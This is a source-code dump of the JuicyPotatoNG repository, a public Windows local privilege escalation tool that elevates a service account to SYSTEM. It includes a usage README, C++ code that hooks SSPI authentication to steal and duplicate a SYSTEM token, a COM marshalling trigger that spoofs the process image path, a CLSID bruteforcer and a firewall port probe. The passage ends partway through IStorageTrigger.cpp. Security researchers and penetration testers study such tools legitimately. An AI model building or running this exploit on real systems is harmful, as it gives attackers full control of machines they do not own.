├── demo.png ├── BruteforceCLSIDs.h ├── SSPIHooks.h ├── IUnknownObj.h ├── test_system_ports.ps1 ├── PotatoTrigger.h ├── IUnknownObj.cpp ├── LICENSE ├── README.md ├── JuicyPotatoNG.sln ├── JuicyPotatoNG.vcxproj.filters ├── IStorageTrigger.h ├── BruteforceCLSIDs.cpp ├── SSPIHooks.cpp ├── PotatoTrigger.cpp ├── IStorageTrigger.cpp ├── .gitignore ├── JuicyPotatoNG.vcxproj └── JuicyPotatoNG.cpp /demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/antonioCoco/JuicyPotatoNG/HEAD/demo.png -------------------------------------------------------------------------------- /BruteforceCLSIDs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "Windows.h" 3 | 4 | void BruteforceAllClisds(); -------------------------------------------------------------------------------- /SSPIHooks.h: -------------------------------------------------------------------------------- 1 | #define SECURITY_WIN32 2 | 3 | #pragma once 4 | #include "Windows.h" 5 | 6 | void HookSSPIForTokenStealing(wchar_t* clsid); 7 | -------------------------------------------------------------------------------- /IUnknownObj.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "Objidl.h" 3 | 4 | class IUnknownObj : public IUnknown { 5 | private: 6 | int m_cRef; 7 | public: 8 | IUnknownObj(); 9 | HRESULT STDMETHODCALLTYPE QueryInterface(const IID& riid, void** ppvObject); 10 | ULONG STDMETHODCALLTYPE AddRef(); 11 | ULONG STDMETHODCALLTYPE Release(); 12 | }; -------------------------------------------------------------------------------- /test_system_ports.ps1: -------------------------------------------------------------------------------- 1 | function Test-IsPortOpen { 2 | param( 3 | [string]$Name, 4 | [int]$Port 5 | ) 6 | 7 | $mgr = New-Object -ComObject "HNetCfg.FwMgr" 8 | $allow = $null 9 | $mgr.IsPortAllowed($Name, 2, $Port, "", 6, [ref]$allow, $null) 10 | $allow 11 | } 12 | 13 | foreach($i in 1..65555){ 14 | if (Test-IsPortOpen "System" $i) { 15 | Write-Host "System $i" 16 | } 17 | } -------------------------------------------------------------------------------- /PotatoTrigger.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "Windows.h" 3 | #include "winternl.h" 4 | 5 | #define DEFAULT_BUFLEN 8192 6 | 7 | void InitComServer(); 8 | HRESULT UnmarshallIStorage(PWCHAR clsidStr); 9 | void PotatoTrigger(PWCHAR clsidStr, PWCHAR comPort, HANDLE hEventWait); 10 | void base64Decode(PWCHAR b64Text, int b64TextLen, char* buffer, DWORD* bufferLen); 11 | 12 | typedef NTSTATUS(NTAPI* pNtQueryInformationProcess)(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength); -------------------------------------------------------------------------------- /IUnknownObj.cpp: -------------------------------------------------------------------------------- 1 | #include "IUnknownObj.h" 2 | 3 | IUnknownObj::IUnknownObj() { 4 | m_cRef = 1; 5 | return; 6 | } 7 | 8 | ///////////////////////IUknown Interface 9 | HRESULT IUnknownObj::QueryInterface(const IID& riid, void** ppvObj) { 10 | // Always set out parameter to NULL, validating it first. 11 | if (!ppvObj) { 12 | //printf("QueryInterface INVALID\n"); 13 | return E_INVALIDARG; 14 | } 15 | if (riid == IID_IUnknown) 16 | { 17 | *ppvObj = static_cast(this); 18 | reinterpret_cast(*ppvObj)->AddRef(); 19 | } 20 | else 21 | { 22 | *ppvObj = NULL; 23 | //printf("QueryInterface NOINT\n"); 24 | return E_NOINTERFACE; 25 | } 26 | // Increment the reference count and return the pointer. 27 | return S_OK; 28 | } 29 | 30 | ULONG IUnknownObj::AddRef() { 31 | m_cRef++; 32 | return m_cRef; 33 | } 34 | 35 | ULONG IUnknownObj::Release() { 36 | // Decrement the object's internal counter. 37 | ULONG ulRefCount = m_cRef--; 38 | return ulRefCount; 39 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 antonioCoco 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # JuicyPotatoNG 2 | 3 | Just another Windows Local Privilege Escalation from Service Account to System. Full details at --> https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/ 4 | 5 | ## Usage 6 | 7 | ``` 8 | 9 | JuicyPotatoNG 10 | by decoder_it & splinter_code 11 | 12 | 13 | Mandatory args: 14 | -t createprocess call: CreateProcessWithTokenW, CreateProcessAsUser, <*> try both 15 | -p : program to launch 16 | 17 | 18 | Optional args: 19 | -l : COM server listen port (Default 10247) 20 | -a : command line argument to pass to program (default NULL) 21 | -c : (Default {854A20FB-2D44-457D-992F-EF13785D2B51}) 22 | -i : Interactive Console (valid only with CreateProcessAsUser) 23 | 24 | 25 | Additional modes: 26 | -b : Bruteforce all CLSIDs. !ALERT: USE ONLY FOR TESTING. About 1000 processes will be spawned! 27 | -s : Seek for a suitable COM port not filtered by the Windows firewall 28 | 29 | ``` 30 | 31 | ## Demo 32 | 33 | ![demo](demo.png) 34 | 35 | ## Authors 36 | 37 | * [Andrea Pierini](https://twitter.com/decoder_it) 38 | * [Antonio Cocomazzi](https://twitter.com/splinter_code) 39 | -------------------------------------------------------------------------------- /JuicyPotatoNG.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31229.75 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "JuicyPotatoNG", "JuicyPotatoNG.vcxproj", "{261F880E-4BEE-428D-9F64-C29292002C19}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {261F880E-4BEE-428D-9F64-C29292002C19}.Debug|x64.ActiveCfg = Debug|x64 17 | {261F880E-4BEE-428D-9F64-C29292002C19}.Debug|x64.Build.0 = Debug|x64 18 | {261F880E-4BEE-428D-9F64-C29292002C19}.Debug|x86.ActiveCfg = Debug|Win32 19 | {261F880E-4BEE-428D-9F64-C29292002C19}.Debug|x86.Build.0 = Debug|Win32 20 | {261F880E-4BEE-428D-9F64-C29292002C19}.Release|x64.ActiveCfg = Release|x64 21 | {261F880E-4BEE-428D-9F64-C29292002C19}.Release|x64.Build.0 = Release|x64 22 | {261F880E-4BEE-428D-9F64-C29292002C19}.Release|x86.ActiveCfg = Release|Win32 23 | {261F880E-4BEE-428D-9F64-C29292002C19}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {C73A4893-A5D1-44C8-900C-7B8850BBD2EC} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /JuicyPotatoNG.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | 38 | 39 | Header Files 40 | 41 | 42 | Header Files 43 | 44 | 45 | Header Files 46 | 47 | 48 | Header Files 49 | 50 | 51 | Header Files 52 | 53 | 54 | -------------------------------------------------------------------------------- /IStorageTrigger.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "Objidl.h" 3 | 4 | class IStorageTrigger : public IMarshal, public IStorage { 5 | private: 6 | IStorage* _stg; 7 | int m_cRef; 8 | public: 9 | IStorageTrigger(IStorage* stg); 10 | HRESULT STDMETHODCALLTYPE DisconnectObject(DWORD dwReserved); 11 | HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(const IID& riid, void* pv, DWORD dwDestContext, void* pvDestContext, DWORD mshlflags, DWORD* pSize); 12 | HRESULT STDMETHODCALLTYPE GetUnmarshalClass(const IID& riid, void* pv, DWORD dwDestContext, void* pvDestContext, DWORD mshlflags, CLSID* pCid); 13 | HRESULT STDMETHODCALLTYPE MarshalInterface(IStream* pStm, const IID& riid, void* pv, DWORD dwDestContext, void* pvDestContext, DWORD mshlflags); 14 | HRESULT STDMETHODCALLTYPE ReleaseMarshalData(IStream* pStm); 15 | HRESULT STDMETHODCALLTYPE UnmarshalInterface(IStream* pStm, const IID& riid, void** ppv); 16 | HRESULT STDMETHODCALLTYPE Commit(DWORD grfCommitFlags); 17 | HRESULT STDMETHODCALLTYPE CopyTo(DWORD ciidExclude, const IID* rgiidExclude, SNB snbExclude, IStorage* pstgDest); 18 | HRESULT STDMETHODCALLTYPE CreateStorage(const OLECHAR* pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStorage** ppstg); 19 | HRESULT STDMETHODCALLTYPE CreateStream(const OLECHAR* pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStream** ppstm); 20 | HRESULT STDMETHODCALLTYPE DestroyElement(const OLECHAR* pwcsName); 21 | HRESULT STDMETHODCALLTYPE EnumElements(DWORD reserved1, void* reserved2, DWORD reserved3, IEnumSTATSTG** ppenum); 22 | HRESULT STDMETHODCALLTYPE MoveElementTo(const OLECHAR* pwcsName, IStorage* pstgDest, const OLECHAR* pwcsNewName, DWORD grfFlags); 23 | HRESULT STDMETHODCALLTYPE OpenStorage(const OLECHAR* pwcsName, IStorage* pstgPriority, DWORD grfMode, SNB snbExclude, DWORD reserved, IStorage** ppstg); 24 | HRESULT STDMETHODCALLTYPE OpenStream(const OLECHAR* pwcsName, void* reserved1, DWORD grfMode, DWORD reserved2, IStream** ppstm); 25 | HRESULT STDMETHODCALLTYPE RenameElement(const OLECHAR* pwcsOldName, const OLECHAR* pwcsNewName); 26 | HRESULT STDMETHODCALLTYPE Revert(); 27 | HRESULT STDMETHODCALLTYPE SetClass(const IID& clsid); 28 | HRESULT STDMETHODCALLTYPE SetElementTimes(const OLECHAR* pwcsName, const FILETIME* pctime, const FILETIME* patime, const FILETIME* pmtime); 29 | HRESULT STDMETHODCALLTYPE SetStateBits(DWORD grfStateBits, DWORD grfMask); 30 | HRESULT STDMETHODCALLTYPE Stat(STATSTG* pstatstg, DWORD grfStatFlag); 31 | 32 | HRESULT STDMETHODCALLTYPE QueryInterface(const IID& riid, void** ppvObject); 33 | ULONG STDMETHODCALLTYPE AddRef(); 34 | ULONG STDMETHODCALLTYPE Release(); 35 | }; -------------------------------------------------------------------------------- /BruteforceCLSIDs.cpp: -------------------------------------------------------------------------------- 1 | #include "BruteforceCLSIDs.h" 2 | #include "stdio.h" 3 | #include "strsafe.h" 4 | 5 | void InitConsole(PHANDLE oldStdOut, PHANDLE oldStdErr, PBOOL consoleAllocated) { 6 | *oldStdOut = GetStdHandle(STD_OUTPUT_HANDLE); 7 | *oldStdErr = GetStdHandle(STD_ERROR_HANDLE); 8 | if (GetConsoleWindow() == NULL) 9 | { 10 | AllocConsole(); 11 | *consoleAllocated = TRUE; 12 | } 13 | HANDLE hStdout = CreateFile(L"CONOUT$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 14 | SetStdHandle(STD_OUTPUT_HANDLE, hStdout); 15 | SetStdHandle(STD_ERROR_HANDLE, hStdout); 16 | } 17 | 18 | void RestoreStdHandles(HANDLE oldStdOut, HANDLE oldStdErr) { 19 | SetStdHandle(STD_OUTPUT_HANDLE, oldStdOut); 20 | SetStdHandle(STD_ERROR_HANDLE, oldStdErr); 21 | } 22 | 23 | void getAllClsids(wchar_t* allClsids, DWORD* allClisdsNum) { 24 | HKEY hKey; 25 | DWORD retCode; 26 | WCHAR keyName[MAX_PATH]; 27 | WCHAR keyValue[MAX_PATH]; 28 | DWORD keyNameLen = MAX_PATH * sizeof(WCHAR); 29 | DWORD keyValueLen = MAX_PATH * sizeof(WCHAR); 30 | DWORD countRegKeys = 0; 31 | size_t offsetAllClsids = 0; 32 | DWORD skippedKeys = 0; 33 | RegOpenKeyEx(HKEY_CLASSES_ROOT, L"CLSID", 0, KEY_READ, &hKey); 34 | do { 35 | retCode = RegEnumKey(hKey, countRegKeys, keyName, keyNameLen); 36 | countRegKeys++; 37 | if (keyName[0] != L'{') { 38 | skippedKeys++; 39 | continue; 40 | } 41 | if (RegGetValue(hKey, keyName, L"APPID", RRF_RT_ANY, NULL, keyValue, &keyValueLen) == ERROR_SUCCESS) { 42 | memcpy(allClsids + offsetAllClsids, keyName, (wcslen(keyName) + 1) * sizeof(WCHAR)); 43 | offsetAllClsids += wcslen(keyName) + 1; 44 | } 45 | else 46 | skippedKeys++; 47 | keyValueLen = MAX_PATH * sizeof(WCHAR); 48 | } while (retCode != ERROR_NO_MORE_ITEMS); 49 | *allClisdsNum = countRegKeys + 1 - skippedKeys; 50 | RegCloseKey(hKey); 51 | } 52 | 53 | void BruteforceAllClisds() { 54 | PWCHAR allClids = NULL; 55 | PWCHAR clsidPtr = NULL; 56 | DWORD allClidsNum = 0; 57 | PROCESS_INFORMATION procInfo; 58 | STARTUPINFO startInfo; 59 | wchar_t moduleFilename[MAX_PATH], newCmdline[MAX_PATH]; 60 | wchar_t cmdlineTemplate[] = L"%s %s \"%s\" %s"; 61 | HANDLE hOldStdOut, hOldStdErr; 62 | BOOL consoleAllocated = FALSE; 63 | 64 | allClids = (PWCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 20000 * MAX_PATH * sizeof(WCHAR)); 65 | clsidPtr = allClids; 66 | getAllClsids(allClids, &allClidsNum); 67 | printf("[*] Bruteforcing %d CLSIDs... \n", allClidsNum); 68 | 69 | // in this function we take care of the cases in which our current process does not have an allocated console 70 | InitConsole(&hOldStdOut, &hOldStdErr, &consoleAllocated); 71 | 72 | do { 73 | ZeroMemory(&procInfo, sizeof(PROCESS_INFORMATION)); 74 | ZeroMemory(&startInfo, sizeof(STARTUPINFO)); 75 | ZeroMemory(moduleFilename, MAX_PATH); 76 | ZeroMemory(newCmdline, MAX_PATH); 77 | GetModuleFileName(NULL, moduleFilename, MAX_PATH); 78 | StringCchPrintfW(newCmdline, MAX_PATH, cmdlineTemplate, moduleFilename, L"-c", clsidPtr, L"-z"); 79 | CreateProcess(moduleFilename, newCmdline, NULL, NULL, FALSE, 0, NULL, NULL, &startInfo, &procInfo); 80 | if (WaitForSingleObject(procInfo.hProcess, 1500) == WAIT_TIMEOUT) { 81 | TerminateThread(procInfo.hThread, -1); 82 | TerminateProcess(procInfo.hProcess, -1); 83 | } 84 | CloseHandle(procInfo.hThread); 85 | CloseHandle(procInfo.hProcess); 86 | clsidPtr += wcslen(clsidPtr) + 1; 87 | fflush(stdout); 88 | } while (*clsidPtr != L'\0'); 89 | 90 | RestoreStdHandles(hOldStdOut, hOldStdErr); 91 | if (consoleAllocated) FreeConsole(); 92 | HeapFree(GetProcessHeap(), 0, allClids); 93 | } -------------------------------------------------------------------------------- /SSPIHooks.cpp: -------------------------------------------------------------------------------- 1 | #define SECURITY_WIN32 2 | #pragma comment(lib, "Secur32.lib") 3 | 4 | #include "Windows.h" 5 | #include "stdio.h" 6 | #include "sspi.h" 7 | #include "SSPIHooks.h" 8 | 9 | // global vars used 10 | extern HANDLE g_hEventTokenStolen; 11 | extern HANDLE g_hEventAuthTriggered; 12 | extern HANDLE g_hTokenStolenPrimary; 13 | extern HANDLE g_hTokenStolenSecondary; 14 | extern BOOL g_SystemTokenStolen; 15 | wchar_t* g_Clsid; 16 | 17 | int IsTokenSystem(HANDLE tok, wchar_t* clsid); 18 | 19 | SECURITY_STATUS AcceptSecurityContextHook(PCredHandle phCredential, PCtxtHandle phContext, PSecBufferDesc pInput, ULONG fContextReq, ULONG TargetDataRep, PCtxtHandle phNewContext, PSecBufferDesc pOutput, PULONG pfContextAttr, PTimeStamp ptsTimeStamp) { 20 | SECURITY_STATUS status; 21 | if(g_hTokenStolenSecondary != NULL) 22 | return SEC_E_INTERNAL_ERROR; // We already have the token, bye bye 23 | status = AcceptSecurityContext(phCredential, phContext, pInput, fContextReq, TargetDataRep, phNewContext, pOutput, pfContextAttr, ptsTimeStamp); 24 | if (phContext != NULL) { // we should land here in the 2nd call to AcceptSecurityContext, so context should be created in our com server <-- this process 25 | SetEvent(g_hEventAuthTriggered); 26 | QuerySecurityContextToken(phContext, &g_hTokenStolenSecondary); 27 | if (IsTokenSystem(g_hTokenStolenSecondary, g_Clsid)) { 28 | DuplicateTokenEx(g_hTokenStolenSecondary, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &g_hTokenStolenPrimary); 29 | g_SystemTokenStolen = TRUE; 30 | } 31 | SetEvent(g_hEventTokenStolen); 32 | } 33 | return status; 34 | } 35 | 36 | void HookSSPIForTokenStealing(wchar_t *clsid) { 37 | g_Clsid = clsid; 38 | g_hTokenStolenPrimary = NULL; 39 | g_hTokenStolenSecondary = NULL; 40 | g_SystemTokenStolen = FALSE; 41 | PSecurityFunctionTableW table = InitSecurityInterfaceW(); 42 | table->AcceptSecurityContext = AcceptSecurityContextHook; 43 | } 44 | 45 | int IsTokenSystem(HANDLE hToken, wchar_t *clsid) 46 | { 47 | DWORD Size, UserSize, DomainSize; 48 | SID* sid; 49 | SID_NAME_USE SidType; 50 | TCHAR UserName[64], DomainName[64]; 51 | TOKEN_USER* User; 52 | SECURITY_IMPERSONATION_LEVEL ImpersonationLevel = SecurityAnonymous; 53 | wchar_t* impersonationLevelstr = NULL; 54 | 55 | Size = 0; 56 | GetTokenInformation(hToken, TokenUser, NULL, 0, &Size); 57 | if (!Size) 58 | return FALSE; 59 | User = (TOKEN_USER*)malloc(Size); 60 | GetTokenInformation(hToken, TokenUser, User, Size, &Size); 61 | Size = GetLengthSid(User->User.Sid); 62 | sid = (SID*)malloc(Size); 63 | CopySid(Size, sid, User->User.Sid); 64 | UserSize = (sizeof UserName / sizeof * UserName) - 1; 65 | DomainSize = (sizeof DomainName / sizeof * DomainName) - 1; 66 | LookupAccountSid(NULL, sid, UserName, &UserSize, DomainName, &DomainSize, &SidType); 67 | //free(sid); 68 | //free(User); 69 | 70 | Size = 0; 71 | GetTokenInformation(hToken, TokenImpersonationLevel, &ImpersonationLevel, sizeof(SECURITY_IMPERSONATION_LEVEL), &Size); 72 | switch (ImpersonationLevel) 73 | { 74 | case SecurityAnonymous: 75 | impersonationLevelstr = (wchar_t*)L"Anonymous"; 76 | break; 77 | case SecurityIdentification: 78 | impersonationLevelstr = (wchar_t*)L"Identification"; 79 | break; 80 | case SecurityImpersonation: 81 | impersonationLevelstr = (wchar_t*)L"Impersonation"; 82 | break; 83 | case SecurityDelegation: 84 | impersonationLevelstr = (wchar_t*)L"Delegation"; 85 | break; 86 | } 87 | 88 | if (!_wcsicmp(UserName, L"SYSTEM") && ImpersonationLevel >= SecurityImpersonation) { 89 | printf("[+] authresult success %S;%S\\%S;%S\n", clsid, DomainName, UserName, impersonationLevelstr); 90 | return 1; 91 | } 92 | else { 93 | printf("[-] authresult failed %S;%S\\%S;%S\n", clsid, DomainName, UserName, impersonationLevelstr); 94 | } 95 | fflush(stdout); 96 | return 0; 97 | } -------------------------------------------------------------------------------- /PotatoTrigger.cpp: -------------------------------------------------------------------------------- 1 | #include "PotatoTrigger.h" 2 | #include "stdio.h" 3 | #include "wincrypt.h" 4 | #include "objbase.h" 5 | #include "IUnknownObj.h" 6 | #include "IStorageTrigger.h" 7 | 8 | #pragma comment (lib, "Crypt32.lib") 9 | #pragma comment (lib, "Rpcrt4.lib") 10 | 11 | char gOxid[8]; 12 | char gOid[8]; 13 | char gIpid[16]; 14 | 15 | void InitComServer() { 16 | PROCESS_BASIC_INFORMATION pebInfo; 17 | SOLE_AUTHENTICATION_SERVICE authInfo; 18 | ULONG ReturnLength = 0; 19 | wchar_t oldImagePathName[MAX_PATH]; 20 | wchar_t newImagePathName[] = L"System"; 21 | WCHAR spnInfo[] = L""; 22 | pNtQueryInformationProcess NtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQueryInformationProcess"); 23 | NtQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, &pebInfo, sizeof(pebInfo), &ReturnLength); 24 | // save the old image path name and patch with the new one 25 | memset(oldImagePathName, 0, sizeof(wchar_t) * MAX_PATH); 26 | memcpy(oldImagePathName, pebInfo.PebBaseAddress->ProcessParameters->ImagePathName.Buffer, pebInfo.PebBaseAddress->ProcessParameters->ImagePathName.Length); 27 | memcpy(pebInfo.PebBaseAddress->ProcessParameters->ImagePathName.Buffer, newImagePathName, sizeof(newImagePathName)); 28 | // init COM runtime 29 | CoInitialize(NULL); 30 | authInfo.dwAuthnSvc = RPC_C_AUTHN_WINNT; 31 | authInfo.pPrincipalName = spnInfo; 32 | CoInitializeSecurity(NULL, 1, &authInfo, NULL, RPC_C_AUTHN_LEVEL_CONNECT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_DYNAMIC_CLOAKING, NULL); 33 | // Restore PEB ImagePathName 34 | memcpy(pebInfo.PebBaseAddress->ProcessParameters->ImagePathName.Buffer, oldImagePathName, pebInfo.PebBaseAddress->ProcessParameters->ImagePathName.Length); 35 | } 36 | 37 | // this is the implementation of the "local" potato trigger discovered by @tiraniddo --> https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html 38 | void PotatoTrigger(PWCHAR clsidStr, PWCHAR comPort, HANDLE hEventWait) { 39 | IMoniker* monikerObj; 40 | IBindCtx* bindCtx; 41 | IUnknown* IUnknownObj1Ptr; 42 | RPC_STATUS rpcStatus; 43 | HRESULT result; 44 | PWCHAR objrefBuffer = (PWCHAR)CoTaskMemAlloc(DEFAULT_BUFLEN); 45 | char* objrefDecoded = (char*)CoTaskMemAlloc(DEFAULT_BUFLEN); 46 | DWORD objrefDecodedLen = DEFAULT_BUFLEN; 47 | // Init COM server 48 | InitComServer(); 49 | // we create a random IUnknown object as a placeholder to pass to the moniker 50 | IUnknownObj IUnknownObj1 = IUnknownObj(); 51 | IUnknownObj1.QueryInterface(IID_IUnknown, (void**)&IUnknownObj1Ptr); 52 | result = CreateObjrefMoniker(IUnknownObj1Ptr, &monikerObj); 53 | if (result != S_OK) { 54 | printf("[!] CreateObjrefMoniker failed with HRESULT %d\n", result); 55 | exit(-1); 56 | } 57 | CreateBindCtx(0, &bindCtx); 58 | monikerObj->GetDisplayName(bindCtx, NULL, (LPOLESTR*)&objrefBuffer); 59 | //printf("[*] Objref Moniker Display Name = %S\n", objrefBuffer); 60 | // the moniker is in the format objref:[base64encodedobject]: so we skip the first 7 chars and the last colon char 61 | base64Decode(objrefBuffer + 7, (int)(wcslen(objrefBuffer) - 7 - 1), objrefDecoded, &objrefDecodedLen); 62 | // we copy the needed data to communicate with our local com server (this process) 63 | memcpy(gOxid, objrefDecoded + 32, 8); 64 | memcpy(gOid, objrefDecoded + 40, 8); 65 | memcpy(gIpid, objrefDecoded + 48, 16); 66 | // we register the port of our local com server 67 | rpcStatus = RpcServerUseProtseqEp((RPC_WSTR)L"ncacn_ip_tcp", RPC_C_PROTSEQ_MAX_REQS_DEFAULT, (RPC_WSTR)comPort, NULL); 68 | if (rpcStatus != S_OK) { 69 | printf("[!] RpcServerUseProtseqEp failed with rpc status code %d\n", rpcStatus); 70 | exit(-1); 71 | } 72 | RpcServerRegisterAuthInfo(NULL, RPC_C_AUTHN_WINNT, NULL, NULL); 73 | result = UnmarshallIStorage(clsidStr); 74 | if (result == CO_E_BAD_PATH) { 75 | printf("[!] CLSID %S not found. Error Bad path to object. Exiting...\n", clsidStr); 76 | exit(-1); 77 | } 78 | if (hEventWait) WaitForSingleObject(hEventWait, 1000); 79 | IUnknownObj1Ptr->Release(); 80 | IUnknownObj1.Release(); 81 | bindCtx->Release(); 82 | monikerObj->Release(); 83 | CoTaskMemFree(objrefBuffer); 84 | CoTaskMemFree(objrefDecoded); 85 | CoUninitialize(); 86 | } 87 | 88 | HRESULT UnmarshallIStorage(PWCHAR clsidStr) { 89 | IStorage* stg = NULL; 90 | ILockBytes* lb = NULL; 91 | MULTI_QI qis[1]; 92 | CLSID targetClsid; 93 | HRESULT result; 94 | //Create IStorage object 95 | CreateILockBytesOnHGlobal(NULL, TRUE, &lb); 96 | StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg); 97 | //Initialze IStorageTrigger object 98 | IStorageTrigger* IStorageTriggerObj = new IStorageTrigger(stg); 99 | CLSIDFromString(clsidStr, &targetClsid); 100 | qis[0].pIID = &IID_IUnknown; 101 | qis[0].pItf = NULL; 102 | qis[0].hr = 0; 103 | //printf("[*] Calling CoGetInstanceFromIStorage with CLSID:%S\n", clsidStr); 104 | result = CoGetInstanceFromIStorage(NULL, &targetClsid, NULL, CLSCTX_LOCAL_SERVER, IStorageTriggerObj, 1, qis); 105 | return result; 106 | } 107 | 108 | void base64Decode(PWCHAR b64Text, int b64TextLen, char* buffer, DWORD* bufferLen) { 109 | if (!CryptStringToBinaryW(b64Text, b64TextLen, CRYPT_STRING_BASE64, (BYTE*)buffer, (DWORD*)bufferLen, NULL, NULL)) { 110 | printf("[!] CryptStringToBinaryW failed with error code %d\n", GetLastError()); 111 | exit(-1); 112 | } 113 | } 114 | 115 | -------------------------------------------------------------------------------- /IStorageTrigger.cpp: -------------------------------------------------------------------------------- 1 | #include "IStorageTrigger.h" 2 | #include 3 | 4 | #pragma warning(disable : 4996) //_CRT_SECURE_NO_WARNINGS 5 | 6 | extern char gOxid[]; 7 | extern char gOid[]; 8 | extern char gIpid[]; 9 | 10 | IStorageTrigger::IStorageTrigger(IStorage* istg) { 11 | _stg = istg; 12 | m_cRef = 1; 13 | return; 14 | } 15 | 16 | HRESULT IStorageTrigger::DisconnectObject(DWORD dwReserved) { 17 | return 0; 18 | } 19 | 20 | HRESULT IStorageTrigger::GetMarshalSizeMax(const IID& riid, void* pv, DWORD dwDestContext, void* pvDestContext, DWORD mshlflags, DWORD* pSize) { 21 | *pSize = 1024; 22 | //printf("IStorageTrigger GetMarshalSizeMax\n"); 23 | return 0; 24 | } 25 | 26 | HRESULT IStorageTrigger::GetUnmarshalClass(const IID& riid, void* pv, DWORD dwDestContext, void* pvDestContext, DWORD mshlflags, CLSID* pCid) { 27 | CLSIDFromString(OLESTR("{00000306-0000-0000-c000-000000000046}"), pCid); 28 | //printf("IStorageTrigger GetUnmarshalClass\n"); 29 | return 0; 30 | } 31 | 32 | HRESULT IStorageTrigger::MarshalInterface(IStream* pStm, const IID& riid, void* pv, DWORD dwDestContext, void* pvDestContext, DWORD mshlflags) { 33 | // only gods know what is going on in this function 34 | // do not try to refactor this. If you are brave and wanna try you can start here --> https://thrysoee.dk/InsideCOM+/ch19e.htm 35 | short sec_len = 8; 36 | char remote_ip_mb[256]; 37 | wchar_t remoteBindings[] = L"127.0.0.1"; 38 | wcstombs(remote_ip_mb, remoteBindings, 256); 39 | 40 | char* ipaddr = remote_ip_mb; 41 | unsigned short str_bindlen = (unsigned short)((strlen(ipaddr)) * 2) + 6; 42 | unsigned short total_length = (str_bindlen + sec_len) / 2; 43 | unsigned char sec_offset = str_bindlen / 2; 44 | 45 | byte data_0[] = { //OBJREF STANDARD 46 | 0x4d,0x45,0x4f,0x57, //MEOW 47 | 0x01,0x00,0x00,0x00, //FLAGS 48 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46, // IID_IUnknown 49 | 0x00,0x00,0x00,0x00, //OBJREF STD FLAGS 50 | 0x01,0x00,0x00,0x00 //count 51 | }; 52 | 53 | byte* dataip; 54 | int len = (int)strlen(ipaddr) * 2; 55 | dataip = 